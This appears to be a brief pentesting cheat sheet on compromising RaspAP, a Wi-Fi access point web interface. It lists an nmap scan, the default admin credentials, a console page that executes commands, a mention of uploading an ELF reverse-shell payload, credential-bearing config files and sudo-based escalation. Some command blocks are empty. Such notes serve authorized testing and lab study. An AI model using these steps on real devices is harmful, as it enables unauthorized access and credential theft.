RaspAP
RaspAP is a web interface for managing Wi-Fi access points. It commonly runs under lighttpd with HTTP Basic Auth.
Discovery
nmap -sC -sV TARGET -p 8091
# 8091/tcp open http lighttpd
# http-auth: Basic realm=RaspAPBrowse to:
http://TARGET:8091/Default Credentials
admin:secretWeb Console
After login, check for a system info or console page:
/index.php?page=system_infoThe console may execute commands as the web server user:
id
pwd
ls -la /homeIf the web console is awkward for reverse shell metacharacters, upload and run a small ELF payload:
From the web console:
Interesting Files
Search RaspAP config for Wi-Fi and service credentials:
Common hit:
Also check sudo -l; RaspAP installs often grant web-facing users service-management commands such as systemctl start/stop hostapd or dnsmasq.
Last updated